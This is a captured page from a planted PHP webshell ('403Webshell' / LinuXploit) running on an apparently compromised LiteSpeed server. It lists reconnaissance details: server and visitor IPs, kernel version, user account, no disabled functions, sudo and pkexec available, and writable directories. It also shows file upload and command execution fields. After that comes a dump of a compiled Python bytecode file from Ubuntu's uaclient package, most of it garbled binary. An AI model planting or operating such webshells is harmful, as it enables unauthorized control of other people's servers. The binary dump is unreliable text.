403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/uaclient/__pycache__/update_contract_info.cpython-310.pyc
o

��gH�@shddlZddlmZmZmZmZddlmZddlm	Z	ddl
mZe�e�
e��Zd
defdd	�ZdS)�N)�lock�messages�system�util)�detach)�_is_attached)�UAConfigF�cfgcCs�t�d�t|�jsdSt��j}||kr?t�d||�t��t	�t�
|�}tjj
|j|jd�}|r8t|�t�|�dSdS)NzValidating release seriesz9Detaching due to current series being %s. only_series: %s)�release�series_codename)�LOG�debugr�is_attachedr�get_release_info�seriesr�clear_lock_file_if_presentr�get_distro_infor�PRO_ONLY_ALLOWED_FOR_RELEASE�formatr
r�print�warning)r	�only_series�show_message�current_series�allowed_release�message�r�?/usr/lib/python3/dist-packages/uaclient/update_contract_info.py�validate_release_seriess*


�
��r)F)�logging�uaclientrrrr�uaclient.api.u.pro.detach.v1r�(uaclient.api.u.pro.status.is_attached.v1r�uaclient.configr�	getLogger�replace_top_level_logger_name�__name__rrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit